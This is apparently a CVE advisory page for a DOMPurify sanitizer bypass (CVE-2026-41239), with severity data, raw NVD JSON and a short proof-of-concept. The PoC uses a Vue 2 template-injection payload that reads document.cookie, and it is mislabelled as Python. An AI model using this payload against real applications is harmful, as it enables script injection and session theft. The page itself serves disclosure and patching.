Security Vulnerability Report
中文
CVE-2026-41239 CVSS 6.8 MEDIUM

CVE-2026-41239

Published: 2026-04-23 16:16:27
Last Modified: 2026-04-23 16:18:42

Description

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

DOMPurify >= 1.0.10, < 3.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41239 // Requires DOMPurify < 3.4.0 and Vue 2 const DOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const Vue = require('vue'); // Setup DOMPurify with JSDOM const window = new JSDOM('').window; const dompurify = DOMPurify(window); // Malicious payload using Vue template syntax const dirty = '<a href="#">Click me {{this.constructor.constructor(\'alert(document.cookie)\')()}}</a>'; // Sanitize with SAFE_FOR_TEMPLATES and RETURN_DOM // The vulnerability allows {{...}} to persist in the DOM const clean = dompurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true, WHOLE_DOCUMENT: true }); // Simulate rendering the cleaned DOM in Vue 2 // The {{...}} expression will be executed new Vue({ template: `<div ref="app"></div>`, mounted() { this.$refs.app.appendChild(clean); } }).$mount('#app');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41239", "sourceIdentifier": "[email protected]", "published": "2026-04-23T16:16:26.560", "lastModified": "2026-04-23T16:18:41.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-1289"}]}], "references": [{"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0", "source": "[email protected]"}, {"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8", "source": "[email protected]"}]}}